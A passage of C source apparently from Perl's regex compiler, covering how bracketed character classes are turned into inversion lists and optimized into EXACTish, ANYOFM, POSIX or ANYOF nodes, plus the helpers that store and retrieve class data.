NULL; } /* If we don't match all the upper Latin1 characters regardless * of UTF-8ness, we have to set a flag to match the rest when * not in UTF-8 */ _invlist_subtract(only_non_utf8_list, cp_list, &only_non_utf8_list); if (_invlist_len(only_non_utf8_list) != 0) { anyof_flags |= ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER; } SvREFCNT_dec_NN(only_non_utf8_list); } else { /* Here there were no complemented posix classes. That means * the upper Latin1 characters in 'posixes' match only when the * target string is in UTF-8. So we have to add them to the * list of those types of code points, while adding the * remainder to the unconditional list. * * First calculate what they are */ SV* nonascii_but_latin1_properties = NULL; _invlist_intersection(posixes, PL_UpperLatin1, &nonascii_but_latin1_properties); /* And add them to the final list of such characters. */ _invlist_union(upper_latin1_only_utf8_matches, nonascii_but_latin1_properties, &upper_latin1_only_utf8_matches); /* Remove them from what now becomes the unconditional list */ _invlist_subtract(posixes, nonascii_but_latin1_properties, &posixes); /* And add those unconditional ones to the final list */ if (cp_list) { _invlist_union(cp_list, posixes, &cp_list); SvREFCNT_dec_NN(posixes); posixes = NULL; } else { cp_list = posixes; } SvREFCNT_dec(nonascii_but_latin1_properties); /* Get rid of any characters from the conditional list that we * now know are matched unconditionally, which may make that * list empty */ _invlist_subtract(upper_latin1_only_utf8_matches, cp_list, &upper_latin1_only_utf8_matches); if (_invlist_len(upper_latin1_only_utf8_matches) == 0) { SvREFCNT_dec_NN(upper_latin1_only_utf8_matches); upper_latin1_only_utf8_matches = NULL; } } } } /* And combine the result (if any) with any inversion list from properties. * The lists are kept separate up to now so that we can distinguish the two * in regards to matching above-Unicode. A run-time warning is generated * if a Unicode property is matched against a non-Unicode code point. But, * we allow user-defined properties to match anything, without any warning, * and we also suppress the warning if there is a portion of the character * class that isn't a Unicode property, and which matches above Unicode, \W * or [\x{110000}] for example. * (Note that in this case, unlike the Posix one above, there is no * <upper_latin1_only_utf8_matches>, because having a Unicode property * forces Unicode semantics */ if (properties) { if (cp_list) { /* If it matters to the final outcome, see if a non-property * component of the class matches above Unicode. If so, the * warning gets suppressed. This is true even if just a single * such code point is specified, as, though not strictly correct if * another such code point is matched against, the fact that they * are using above-Unicode code points indicates they should know * the issues involved */ if (warn_super) { warn_super = ! (invert ^ (invlist_highest(cp_list) > PERL_UNICODE_MAX)); } _invlist_union(properties, cp_list, &cp_list); SvREFCNT_dec_NN(properties); } else { cp_list = properties; } if (warn_super) { anyof_flags |= ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER; /* Because an ANYOF node is the only one that warns, this node * can't be optimized into something else */ optimizable = FALSE; } } /* Here, we have calculated what code points should be in the character * class. * * Now we can see about various optimizations. Fold calculation (which we * did above) needs to take place before inversion. Otherwise /[^k]/i * would invert to include K, which under /i would match k, which it * shouldn't. Therefore we can't invert folded locale now, as it won't be * folded until runtime */ /* If we didn't do folding, it's because some information isn't available * until runtime; set the run-time fold flag for these We know to set the * flag if we have a non-NULL list for UTF-8 locales, or the class matches * at least one 0-255 range code point */ if (LOC && FOLD) { /* Some things on the list might be unconditionally included because of * other components. Remove them, and clean up the list if it goes to * 0 elements */ if (only_utf8_locale_list && cp_list) { _invlist_subtract(only_utf8_locale_list, cp_list, &only_utf8_locale_list); if (_invlist_len(only_utf8_locale_list) == 0) { SvREFCNT_dec_NN(only_utf8_locale_list); only_utf8_locale_list = NULL; } } if ( only_utf8_locale_list || (cp_list && ( _invlist_contains_cp(cp_list, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE) || _invlist_contains_cp(cp_list, LATIN_SMALL_LETTER_DOTLESS_I)))) { has_runtime_dependency |= HAS_L_RUNTIME_DEPENDENCY; anyof_flags |= ANYOFL_FOLD | ANYOFL_SHARED_UTF8_LOCALE_fold_HAS_MATCHES_nonfold_REQD; } else if (cp_list) { /* Look to see if a 0-255 code point is in list */ UV start, end; invlist_iterinit(cp_list); if (invlist_iternext(cp_list, &start, &end) && start < 256) { anyof_flags |= ANYOFL_FOLD; has_runtime_dependency |= HAS_L_RUNTIME_DEPENDENCY; } invlist_iterfinish(cp_list); } } else if ( DEPENDS_SEMANTICS && ( upper_latin1_only_utf8_matches || (anyof_flags & ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER))) { RExC_seen_d_op = TRUE; has_runtime_dependency |= HAS_D_RUNTIME_DEPENDENCY; } /* Optimize inverted patterns (e.g. [^a-z]) when everything is known at * compile time. */ if ( cp_list && invert && ! has_runtime_dependency) { _invlist_invert(cp_list); /* Clear the invert flag since have just done it here */ invert = FALSE; } if (ret_invlist) { *ret_invlist = cp_list; return RExC_emit; } /* All possible optimizations below still have these characteristics. * (Multi-char folds aren't SIMPLE, but they don't get this far in this * routine) */ *flagp |= HASWIDTH|SIMPLE; if (anyof_flags & ANYOF_LOCALE_FLAGS) { RExC_contains_locale = 1; } /* Some character classes are equivalent to other nodes. Such nodes take * up less room, and some nodes require fewer operations to execute, than * ANYOF nodes. EXACTish nodes may be joinable with adjacent nodes to * improve efficiency. */ if (optimizable) { PERL_UINT_FAST8_T i; Size_t partial_cp_count = 0; UV start[MAX_FOLD_FROMS+1] = { 0 }; /* +1 for the folded-to char */ UV end[MAX_FOLD_FROMS+1] = { 0 }; if (cp_list) { /* Count the code points in enough ranges that we would see all the ones possible in any fold in this version of Unicode */ invlist_iterinit(cp_list); for (i = 0; i <= MAX_FOLD_FROMS; i++) { if (! invlist_iternext(cp_list, &start[i], &end[i])) { break; } partial_cp_count += end[i] - start[i] + 1; } invlist_iterfinish(cp_list); } /* If we know at compile time that this matches every possible code * point, any run-time dependencies don't matter */ if (start[0] == 0 && end[0] == UV_MAX) { if (invert) { ret = reganode(pRExC_state, OPFAIL, 0); } else { ret = reg_node(pRExC_state, SANY); MARK_NAUGHTY(1); } goto not_anyof; } /* Similarly, for /l posix classes, if both a class and its * complement match, any run-time dependencies don't matter */ if (posixl) { for (namedclass = 0; namedclass < ANYOF_POSIXL_MAX; namedclass += 2) { if ( POSIXL_TEST(posixl, namedclass) /* class */ && POSIXL_TEST(posixl, namedclass + 1)) /* its complement */ { if (invert) { ret = reganode(pRExC_state, OPFAIL, 0); } else { ret = reg_node(pRExC_state, SANY); MARK_NAUGHTY(1); } goto not_anyof; } } /* For well-behaved locales, some classes are subsets of others, * so complementing the subset and including the non-complemented * superset should match everything, like [\D[:alnum:]], and * [[:^alpha:][:alnum:]], but some implementations of locales are * buggy, and khw thinks its a bad idea to have optimization change * behavior, even if it avoids an OS bug in a given case */ #define isSINGLE_BIT_SET(n) isPOWER_OF_2(n) /* If is a single posix /l class, can optimize to just that op. * Such a node will not match anything in the Latin1 range, as that * is not determinable until runtime, but will match whatever the * class does outside that range. (Note that some classes won't * match anything outside the range, like [:ascii:]) */ if ( isSINGLE_BIT_SET(posixl) && (partial_cp_count == 0 || start[0] > 255)) { U8 classnum; SV * class_above_latin1 = NULL; bool already_inverted; bool are_equivalent; /* Compute which bit is set, which is the same thing as, e.g., * ANYOF_CNTRL. From * https://graphics.stanford.edu/~seander/bithacks.html#IntegerLogDeBruijn * */ static const int MultiplyDeBruijnBitPosition2[32] = { 0, 1, 28, 2, 29, 14, 24, 3, 30, 22, 20, 15, 25, 17, 4, 8, 31, 27, 13, 23, 21, 19, 16, 7, 26, 12, 18, 6, 11, 5, 10, 9 }; namedclass = MultiplyDeBruijnBitPosition2[(posixl * 0x077CB531U) >> 27]; classnum = namedclass_to_classnum(namedclass); /* The named classes are such that the inverted number is one * larger than the non-inverted one */ already_inverted = namedclass - classnum_to_namedclass(classnum); /* Create an inversion list of the official property, inverted * if the constructed node list is inverted, and restricted to * only the above latin1 code points, which are the only ones * known at compile time */ _invlist_intersection_maybe_complement_2nd( PL_AboveLatin1, PL_XPosix_ptrs[classnum], already_inverted, &class_above_latin1); are_equivalent = _invlistEQ(class_above_latin1, cp_list, FALSE); SvREFCNT_dec_NN(class_above_latin1); if (are_equivalent) { /* Resolve the run-time inversion flag with this possibly * inverted class */ invert = invert ^ already_inverted; ret = reg_node(pRExC_state, POSIXL + invert * (NPOSIXL - POSIXL)); FLAGS(REGNODE_p(ret)) = classnum; goto not_anyof; } } } /* khw can't think of any other possible transformation involving * these. */ if (has_runtime_dependency & HAS_USER_DEFINED_PROPERTY) { goto is_anyof; } if (! has_runtime_dependency) { /* If the list is empty, nothing matches. This happens, for * example, when a Unicode property that doesn't match anything is * the only element in the character class (perluniprops.pod notes * such properties). */ if (partial_cp_count == 0) { if (invert) { ret = reg_node(pRExC_state, SANY); } else { ret = reganode(pRExC_state, OPFAIL, 0); } goto not_anyof; } /* If matches everything but \n */ if ( start[0] == 0 && end[0] == '\n' - 1 && start[1] == '\n' + 1 && end[1] == UV_MAX) { assert (! invert); ret = reg_node(pRExC_state, REG_ANY); MARK_NAUGHTY(1); goto not_anyof; } } /* Next see if can optimize classes that contain just a few code points * into an EXACTish node. The reason to do this is to let the * optimizer join this node with adjacent EXACTish ones. * * An EXACTFish node can be generated even if not under /i, and vice * versa. But care must be taken. An EXACTFish node has to be such * that it only matches precisely the code points in the class, but we * want to generate the least restrictive one that does that, to * increase the odds of being able to join with an adjacent node. For * example, if the class contains [kK], we have to make it an EXACTFAA * node to prevent the KELVIN SIGN from matching. Whether we are under * /i or not is irrelevant in this case. Less obvious is the pattern * qr/[\x{02BC}]n/i. U+02BC is MODIFIER LETTER APOSTROPHE. That is * supposed to match the single character U+0149 LATIN SMALL LETTER N * PRECEDED BY APOSTROPHE. And so even though there is no simple fold * that includes \X{02BC}, there is a multi-char fold that does, and so * the node generated for it must be an EXACTFish one. On the other * hand qr/:/i should generate a plain EXACT node since the colon * participates in no fold whatsoever, and having it EXACT tells the * optimizer the target string cannot match unless it has a colon in * it. * * We don't typically generate an EXACTish node if doing so would * require changing the pattern to UTF-8, as that affects /d and * otherwise is slower. However, under /i, not changing to UTF-8 can * miss some potential multi-character folds. We calculate the * EXACTish node, and then decide if something would be missed if we * don't upgrade */ if ( ! posixl && ! invert /* Only try if there are no more code points in the class than * in the max possible fold */ && partial_cp_count > 0 && partial_cp_count <= MAX_FOLD_FROMS + 1 && (start[0] < 256 || UTF || FOLD)) { if (partial_cp_count == 1 && ! upper_latin1_only_utf8_matches) { /* We can always make a single code point class into an * EXACTish node. */ if (LOC) { /* Here is /l: Use EXACTL, except /li indicates EXACTFL, * as that means there is a fold not known until runtime so * shows as only a single code point here. */ op = (FOLD) ? EXACTFL : EXACTL; } else if (! FOLD) { /* Not /l and not /i */ op = (start[0] < 256) ? EXACT : EXACT_ONLY8; } else if (start[0] < 256) { /* /i, not /l, and the code point is small */ /* Under /i, it gets a little tricky. A code point that * doesn't participate in a fold should be an EXACT node. * We know this one isn't the result of a simple fold, or * there'd be more than one code point in the list, but it * could be part of a multi- character fold. In that case * we better not create an EXACT node, as we would wrongly * be telling the optimizer that this code point must be in * the target string, and that is wrong. This is because * if the sequence around this code point forms a * multi-char fold, what needs to be in the string could be * the code point that folds to the sequence. * * This handles the case of below-255 code points, as we * have an easy look up for those. The next clause handles * the above-256 one */ op = IS_IN_SOME_FOLD_L1(start[0]) ? EXACTFU : EXACT; } else { /* /i, larger code point. Since we are under /i, and have just this code point, we know that it can't fold to something else, so PL_InMultiCharFold applies to it */ op = _invlist_contains_cp(PL_InMultiCharFold, start[0]) ? EXACTFU_ONLY8 : EXACT_ONLY8; } value = start[0]; } else if ( ! (has_runtime_dependency & ~HAS_D_RUNTIME_DEPENDENCY) && _invlist_contains_cp(PL_in_some_fold, start[0])) { /* Here, the only runtime dependency, if any, is from /d, and * the class matches more than one code point, and the lowest * code point participates in some fold. It might be that the * other code points are /i equivalent to this one, and hence * they would representable by an EXACTFish node. Above, we * eliminated classes that contain too many code points to be * EXACTFish, with the test for MAX_FOLD_FROMS * * First, special case the ASCII fold pairs, like 'B' and 'b'. * We do this because we have EXACTFAA at our disposal for the * ASCII range */ if (partial_cp_count == 2 && isASCII(start[0])) { /* The only ASCII characters that participate in folds are * alphabetics */ assert(isALPHA(start[0])); if ( end[0] == start[0] /* First range is a single character, so 2nd exists */ && isALPHA_FOLD_EQ(start[0], start[1])) { /* Here, is part of an ASCII fold pair */ if ( ASCII_FOLD_RESTRICTED || HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(start[0])) { /* If the second clause just above was true, it * means we can't be under /i, or else the list * would have included more than this fold pair. * Therefore we have to exclude the possibility of * whatever else it is that folds to these, by * using EXACTFAA */ op = EXACTFAA; } else if (HAS_NONLATIN1_FOLD_CLOSURE(start[0])) { /* Here, there's no simple fold that start[0] is part * of, but there is a multi-character one. If we * are not under /i, we want to exclude that * possibility; if under /i, we want to include it * */ op = (FOLD) ? EXACTFU : EXACTFAA; } else { /* Here, the only possible fold start[0] particpates in * is with start[1]. /i or not isn't relevant */ op = EXACTFU; } value = toFOLD(start[0]); } } else if ( ! upper_latin1_only_utf8_matches || ( _invlist_len(upper_latin1_only_utf8_matches) == 2 && PL_fold_latin1[ invlist_highest(upper_latin1_only_utf8_matches)] == start[0])) { /* Here, the smallest character is non-ascii or there are * more than 2 code points matched by this node. Also, we * either don't have /d UTF-8 dependent matches, or if we * do, they look like they could be a single character that * is the fold of the lowest one in the always-match list. * This test quickly excludes most of the false positives * when there are /d UTF-8 depdendent matches. These are * like LATIN CAPITAL LETTER A WITH GRAVE matching LATIN * SMALL LETTER A WITH GRAVE iff the target string is * UTF-8. (We don't have to worry above about exceeding * the array bounds of PL_fold_latin1[] because any code * point in 'upper_latin1_only_utf8_matches' is below 256.) * * EXACTFAA would apply only to pairs (hence exactly 2 code * points) in the ASCII range, so we can't use it here to * artificially restrict the fold domain, so we check if * the class does or does not match some EXACTFish node. * Further, if we aren't under /i, and and the folded-to * character is part of a multi-character fold, we can't do * this optimization, as the sequence around it could be * that multi-character fold, and we don't here know the * context, so we have to assume it is that multi-char * fold, to prevent potential bugs. * * To do the general case, we first find the fold of the * lowest code point (which may be higher than the lowest * one), then find everything that folds to it. (The data * structure we have only maps from the folded code points, * so we have to do the earlier step.) */ Size_t foldlen; U8 foldbuf[UTF8_MAXBYTES_CASE]; UV folded = _to_uni_fold_flags(start[0], foldbuf, &foldlen, 0); unsigned int first_fold; const unsigned int * remaining_folds; Size_t folds_to_this_cp_count = _inverse_folds( folded, &first_fold, &remaining_folds); Size_t folds_count = folds_to_this_cp_count + 1; SV * fold_list = _new_invlist(folds_count); unsigned int i; /* If there are UTF-8 dependent matches, create a temporary * list of what this node matches, including them. */ SV * all_cp_list = NULL; SV ** use_this_list = &cp_list; if (upper_latin1_only_utf8_matches) { all_cp_list = _new_invlist(0); use_this_list = &all_cp_list; _invlist_union(cp_list, upper_latin1_only_utf8_matches, use_this_list); } /* Having gotten everything that participates in the fold * containing the lowest code point, we turn that into an * inversion list, making sure everything is included. */ fold_list = add_cp_to_invlist(fold_list, start[0]); fold_list = add_cp_to_invlist(fold_list, folded); if (folds_to_this_cp_count > 0) { fold_list = add_cp_to_invlist(fold_list, first_fold); for (i = 0; i + 1 < folds_to_this_cp_count; i++) { fold_list = add_cp_to_invlist(fold_list, remaining_folds[i]); } } /* If the fold list is identical to what's in this ANYOF * node, the node can be represented by an EXACTFish one * instead */ if (_invlistEQ(*use_this_list, fold_list, 0 /* Don't complement */ ) ) { /* But, we have to be careful, as mentioned above. * Just the right sequence of characters could match * this if it is part of a multi-character fold. That * IS what we want if we are under /i. But it ISN'T * what we want if not under /i, as it could match when * it shouldn't. So, when we aren't under /i and this * character participates in a multi-char fold, we * don't optimize into an EXACTFish node. So, for each * case below we have to check if we are folding * and if not, if it is not part of a multi-char fold. * */ if (start[0] > 255) { /* Highish code point */ if (FOLD || ! _invlist_contains_cp( PL_InMultiCharFold, folded)) { op = (LOC) ? EXACTFLU8 : (ASCII_FOLD_RESTRICTED) ? EXACTFAA : EXACTFU_ONLY8; value = folded; } } /* Below, the lowest code point < 256 */ else if ( FOLD && folded == 's' && DEPENDS_SEMANTICS) { /* An EXACTF node containing a single character 's', can be an EXACTFU if it doesn't get joined with an adjacent 's' */ op = EXACTFU_S_EDGE; value = folded; } else if ( FOLD || ! HAS_NONLATIN1_FOLD_CLOSURE(start[0])) { if (upper_latin1_only_utf8_matches) { op = EXACTF; /* We can't use the fold, as that only matches * under UTF-8 */ value = start[0]; } else if ( UNLIKELY(start[0] == MICRO_SIGN) && ! UTF) { /* EXACTFUP is a special node for this character */ op = (ASCII_FOLD_RESTRICTED) ? EXACTFAA : EXACTFUP; value = MICRO_SIGN; } else if ( ASCII_FOLD_RESTRICTED && ! isASCII(start[0])) { /* For ASCII under /iaa, we can use EXACTFU below */ op = EXACTFAA; value = folded; } else { op = EXACTFU; value = folded; } } } SvREFCNT_dec_NN(fold_list); SvREFCNT_dec(all_cp_list); } } if (op != END) { /* Here, we have calculated what EXACTish node we would use. * But we don't use it if it would require converting the * pattern to UTF-8, unless not using it could cause us to miss * some folds (hence be buggy) */ if (! UTF && value > 255) { SV * in_multis = NULL; assert(FOLD); /* If there is no code point that is part of a multi-char * fold, then there aren't any matches, so we don't do this * optimization. Otherwise, it could match depending on * the context around us, so we do upgrade */ _invlist_intersection(PL_InMultiCharFold, cp_list, &in_multis); if (UNLIKELY(_invlist_len(in_multis) != 0)) { REQUIRE_UTF8(flagp); } else { op = END; } } if (op != END) { U8 len = (UTF) ? UVCHR_SKIP(value) : 1; ret = regnode_guts(pRExC_state, op, len, "exact"); FILL_NODE(ret, op); RExC_emit += 1 + STR_SZ(len); STR_LEN(REGNODE_p(ret)) = len; if (len == 1) { *STRING(REGNODE_p(ret)) = (U8) value; } else { uvchr_to_utf8((U8 *) STRING(REGNODE_p(ret)), value); } goto not_anyof; } } } if (! has_runtime_dependency) { /* See if this can be turned into an ANYOFM node. Think about the * bit patterns in two different bytes. In some positions, the * bits in each will be 1; and in other positions both will be 0; * and in some positions the bit will be 1 in one byte, and 0 in * the other. Let 'n' be the number of positions where the bits * differ. We create a mask which has exactly 'n' 0 bits, each in * a position where the two bytes differ. Now take the set of all * bytes that when ANDed with the mask yield the same result. That * set has 2**n elements, and is representable by just two 8 bit * numbers: the result and the mask. Importantly, matching the set * can be vectorized by creating a word full of the result bytes, * and a word full of the mask bytes, yielding a significant speed * up. Here, see if this node matches such a set. As a concrete * example consider [01], and the byte representing '0' which is * 0x30 on ASCII machines. It has the bits 0011 0000. Take the * mask 1111 1110. If we AND 0x31 and 0x30 with that mask we get * 0x30. Any other bytes ANDed yield something else. So [01], * which is a common usage, is optimizable into ANYOFM, and can * benefit from the speed up. We can only do this on UTF-8 * invariant bytes, because they have the same bit patterns under * UTF-8 as not. */ PERL_UINT_FAST8_T inverted = 0; #ifdef EBCDIC const PERL_UINT_FAST8_T max_permissible = 0xFF; #else const PERL_UINT_FAST8_T max_permissible = 0x7F; #endif /* If doesn't fit the criteria for ANYOFM, invert and try again. * If that works we will instead later generate an NANYOFM, and * invert back when through */ if (invlist_highest(cp_list) > max_permissible) { _invlist_invert(cp_list); inverted = 1; } if (invlist_highest(cp_list) <= max_permissible) { UV this_start, this_end; UV lowest_cp = UV_MAX; /* inited to suppress compiler warn */ U8 bits_differing = 0; Size_t full_cp_count = 0; bool first_time = TRUE; /* Go through the bytes and find the bit positions that differ * */ invlist_iterinit(cp_list); while (invlist_iternext(cp_list, &this_start, &this_end)) { unsigned int i = this_start; if (first_time) { if (! UVCHR_IS_INVARIANT(i)) { goto done_anyofm; } first_time = FALSE; lowest_cp = this_start; /* We have set up the code point to compare with. * Don't compare it with itself */ i++; } /* Find the bit positions that differ from the lowest code * point in the node. Keep track of all such positions by * OR'ing */ for (; i <= this_end; i++) { if (! UVCHR_IS_INVARIANT(i)) { goto done_anyofm; } bits_differing |= i ^ lowest_cp; } full_cp_count += this_end - this_start + 1; } invlist_iterfinish(cp_list); /* At the end of the loop, we count how many bits differ from * the bits in lowest code point, call the count 'd'. If the * set we found contains 2**d elements, it is the closure of * all code points that differ only in those bit positions. To * convince yourself of that, first note that the number in the * closure must be a power of 2, which we test for. The only * way we could have that count and it be some differing set, * is if we got some code points that don't differ from the * lowest code point in any position, but do differ from each * other in some other position. That means one code point has * a 1 in that position, and another has a 0. But that would * mean that one of them differs from the lowest code point in * that position, which possibility we've already excluded. */ if ( (inverted || full_cp_count > 1) && full_cp_count == 1U << PL_bitcount[bits_differing]) { U8 ANYOFM_mask; op = ANYOFM + inverted;; /* We need to make the bits that differ be 0's */ ANYOFM_mask = ~ bits_differing; /* This goes into FLAGS */ /* The argument is the lowest code point */ ret = reganode(pRExC_state, op, lowest_cp); FLAGS(REGNODE_p(ret)) = ANYOFM_mask; } } done_anyofm: if (inverted) { _invlist_invert(cp_list); } if (op != END) { goto not_anyof; } } if (! (anyof_flags & ANYOF_LOCALE_FLAGS)) { PERL_UINT_FAST8_T type; SV * intersection = NULL; SV* d_invlist = NULL; /* See if this matches any of the POSIX classes. The POSIXA and * POSIXD ones are about the same speed as ANYOF ops, but take less * room; the ones that have above-Latin1 code point matches are * somewhat faster than ANYOF. */ for (type = POSIXA; type >= POSIXD; type--) { int posix_class; if (type == POSIXL) { /* But not /l posix classes */ continue; } for (posix_class = 0; posix_class <= _HIGHEST_REGCOMP_DOT_H_SYNC; posix_class++) { SV** our_code_points = &cp_list; SV** official_code_points; int try_inverted; if (type == POSIXA) { official_code_points = &PL_Posix_ptrs[posix_class]; } else { official_code_points = &PL_XPosix_ptrs[posix_class]; } /* Skip non-existent classes of this type. e.g. \v only * has an entry in PL_XPosix_ptrs */ if (! *official_code_points) { continue; } /* Try both the regular class, and its inversion */ for (try_inverted = 0; try_inverted < 2; try_inverted++) { bool this_inverted = invert ^ try_inverted; if (type != POSIXD) { /* This class that isn't /d can't match if we have * /d dependencies */ if (has_runtime_dependency & HAS_D_RUNTIME_DEPENDENCY) { continue; } } else /* is /d */ if (! this_inverted) { /* /d classes don't match anything non-ASCII below * 256 unconditionally (which cp_list contains) */ _invlist_intersection(cp_list, PL_UpperLatin1, &intersection); if (_invlist_len(intersection) != 0) { continue; } SvREFCNT_dec(d_invlist); d_invlist = invlist_clone(cp_list, NULL); /* But under UTF-8 it turns into using /u rules. * Add the things it matches under these conditions * so that we check below that these are identical * to what the tested class should match */ if (upper_latin1_only_utf8_matches) { _invlist_union( d_invlist, upper_latin1_only_utf8_matches, &d_invlist); } our_code_points = &d_invlist; } else { /* POSIXD, inverted. If this doesn't have this flag set, it isn't /d. */ if (! (anyof_flags & ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER)) { continue; } our_code_points = &cp_list; } /* Here, have weeded out some things. We want to see * if the list of characters this node contains * ('*our_code_points') precisely matches those of the * class we are currently checking against * ('*official_code_points'). */ if (_invlistEQ(*our_code_points, *official_code_points, try_inverted)) { /* Here, they precisely match. Optimize this ANYOF * node into its equivalent POSIX one of the * correct type, possibly inverted */ ret = reg_node(pRExC_state, (try_inverted) ? type + NPOSIXA - POSIXA : type); FLAGS(REGNODE_p(ret)) = posix_class; SvREFCNT_dec(d_invlist); SvREFCNT_dec(intersection); goto not_anyof; } } } } SvREFCNT_dec(d_invlist); SvREFCNT_dec(intersection); } /* If didn't find an optimization and there is no need for a * bitmap, optimize to indicate that */ if ( start[0] >= NUM_ANYOF_CODE_POINTS && ! LOC && ! upper_latin1_only_utf8_matches && anyof_flags == 0) { UV highest_cp = invlist_highest(cp_list); /* If the lowest and highest code point in the class have the same * UTF-8 first byte, then all do, and we can store that byte for * regexec.c to use so that it can more quickly scan the target * string for potential matches for this class. We co-opt the the * flags field for this. Zero means, they don't have the same * first byte. We do accept here very large code points (for * future use), but don't bother with this optimization for them, * as it would cause other complications */ if (highest_cp > IV_MAX) { anyof_flags = 0; } else { U8 low_utf8[UTF8_MAXBYTES+1]; U8 high_utf8[UTF8_MAXBYTES+1]; (void) uvchr_to_utf8(low_utf8, start[0]); (void) uvchr_to_utf8(high_utf8, invlist_highest(cp_list)); anyof_flags = (low_utf8[0] == high_utf8[0]) ? low_utf8[0] : 0; } op = ANYOFH; } } /* End of seeing if can optimize it into a different node */ is_anyof: /* It's going to be an ANYOF node. */ if (op != ANYOFH) { op = (has_runtime_dependency & HAS_D_RUNTIME_DEPENDENCY) ? ANYOFD : ((posixl) ? ANYOFPOSIXL : ((LOC) ? ANYOFL : ANYOF)); } ret = regnode_guts(pRExC_state, op, regarglen[op], "anyof"); FILL_NODE(ret, op); /* We set the argument later */ RExC_emit += 1 + regarglen[op]; ANYOF_FLAGS(REGNODE_p(ret)) = anyof_flags; /* Here, <cp_list> contains all the code points we can determine at * compile time that match under all conditions. Go through it, and * for things that belong in the bitmap, put them there, and delete from * <cp_list>. While we are at it, see if everything above 255 is in the * list, and if so, set a flag to speed up execution */ populate_ANYOF_from_invlist(REGNODE_p(ret), &cp_list); if (posixl) { ANYOF_POSIXL_SET_TO_BITMAP(REGNODE_p(ret), posixl); } if (invert) { ANYOF_FLAGS(REGNODE_p(ret)) |= ANYOF_INVERT; } /* Here, the bitmap has been populated with all the Latin1 code points that * always match. Can now add to the overall list those that match only * when the target string is UTF-8 (<upper_latin1_only_utf8_matches>). * */ if (upper_latin1_only_utf8_matches) { if (cp_list) { _invlist_union(cp_list, upper_latin1_only_utf8_matches, &cp_list); SvREFCNT_dec_NN(upper_latin1_only_utf8_matches); } else { cp_list = upper_latin1_only_utf8_matches; } ANYOF_FLAGS(REGNODE_p(ret)) |= ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP; } set_ANYOF_arg(pRExC_state, REGNODE_p(ret), cp_list, (HAS_NONLOCALE_RUNTIME_PROPERTY_DEFINITION) ? listsv : NULL, only_utf8_locale_list); return ret; not_anyof: /* Here, the node is getting optimized into something that's not an ANYOF * one. Finish up. */ Set_Node_Offset_Length(REGNODE_p(ret), orig_parse - RExC_start, RExC_parse - orig_parse);; SvREFCNT_dec(cp_list);; return ret; } #undef HAS_NONLOCALE_RUNTIME_PROPERTY_DEFINITION STATIC void S_set_ANYOF_arg(pTHX_ RExC_state_t* const pRExC_state, regnode* const node, SV* const cp_list, SV* const runtime_defns, SV* const only_utf8_locale_list) { /* Sets the arg field of an ANYOF-type node 'node', using information about * the node passed-in. If there is nothing outside the node's bitmap, the * arg is set to ANYOF_ONLY_HAS_BITMAP. Otherwise, it sets the argument to * the count returned by add_data(), having allocated and stored an array, * av, as follows: * * av[0] stores the inversion list defining this class as far as known at * this time, or PL_sv_undef if nothing definite is now known. * av[1] stores the inversion list of code points that match only if the * current locale is UTF-8, or if none, PL_sv_undef if there is an * av[2], or no entry otherwise. * av[2] stores the list of user-defined properties whose subroutine * definitions aren't known at this time, or no entry if none. */ UV n; PERL_ARGS_ASSERT_SET_ANYOF_ARG; if (! cp_list && ! runtime_defns && ! only_utf8_locale_list) { assert(! (ANYOF_FLAGS(node) & ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP)); ARG_SET(node, ANYOF_ONLY_HAS_BITMAP); } else { AV * const av = newAV(); SV *rv; if (cp_list) { av_store(av, INVLIST_INDEX, cp_list); } if (only_utf8_locale_list) { av_store(av, ONLY_LOCALE_MATCHES_INDEX, only_utf8_locale_list); } if (runtime_defns) { av_store(av, DEFERRED_USER_DEFINED_INDEX, SvREFCNT_inc(runtime_defns)); } rv = newRV_noinc(MUTABLE_SV(av)); n = add_data(pRExC_state, STR_WITH_LEN("s")); RExC_rxi->data->data[n] = (void*)rv; ARG_SET(node, n); } } #if !defined(PERL_IN_XSUB_RE) || defined(PLUGGABLE_RE_EXTENSION) SV * Perl__get_regclass_nonbitmap_data(pTHX_ const regexp *prog, const regnode* node, bool doinit, SV** listsvp, SV** only_utf8_locale_ptr, SV** output_invlist) { /* For internal core use only. * Returns the inversion list for the input 'node' in the regex 'prog'. * If <doinit> is 'true', will attempt to create the inversion list if not * already done. * If <listsvp> is non-null, will return the printable contents of the * property definition. This can be used to get debugging information * even before the inversion list exists, by calling this function with * 'doinit' set to false, in which case the components that will be used * to eventually create the inversion list are returned (in a printable * form). * If <only_utf8_locale_ptr> is not NULL, it is where this routine is to * store an inversion list of code points that should match only if the * execution-time locale is a UTF-8 one. * If <output_invlist> is not NULL, it is where this routine is to store an * inversion list of the code points that would be instead returned in * <listsvp> if this were NULL. Thus, what gets output in <listsvp> * when this parameter is used, is just the non-code point data that * will go into creating the inversion list. This currently should be just * user-defined properties whose definitions were not known at compile * time. Using this parameter allows for easier manipulation of the * inversion list's data by the caller. It is illegal to call this * function with this parameter set, but not <listsvp> * * Tied intimately to how S_set_ANYOF_arg sets up the data structure. Note * that, in spite of this function's name, the inversion list it returns * may include the bitmap data as well */ SV *si = NULL; /* Input initialization string */ SV* invlist = NULL; RXi_GET_DECL(prog, progi); const struct reg_data * const data = prog ? progi->data : NULL; PERL_ARGS_ASSERT__GET_REGCLASS_NONBITMAP_DATA; assert(! output_invlist || listsvp); if (data && data->count) { const U32 n = ARG(node); if (data->what[n] == 's') { SV * const rv = MUTABLE_SV(data->data[n]); AV * const av = MUTABLE_AV(SvRV(rv)); SV **const ary = AvARRAY(av); invlist = ary[INVLIST_INDEX]; if (av_tindex_skip_len_mg(av) >= ONLY_LOCALE_MATCHES_INDEX) { *only_utf8_locale_ptr = ary[ONLY_LOCALE_MATCHES_INDEX]; } if (av_tindex_skip_len_mg(av) >= DEFERRED_USER_DEFINED_INDEX) { si = ary[DEFERRED_USER_DEFINED_INDEX]; } if (doinit && (si || invlist)) { if (si) { bool user_defined; SV * msg = newSVpvs_flags("", SVs_TEMP); SV * prop_definition = handle_user_defined_property( "", 0, FALSE, /* There is 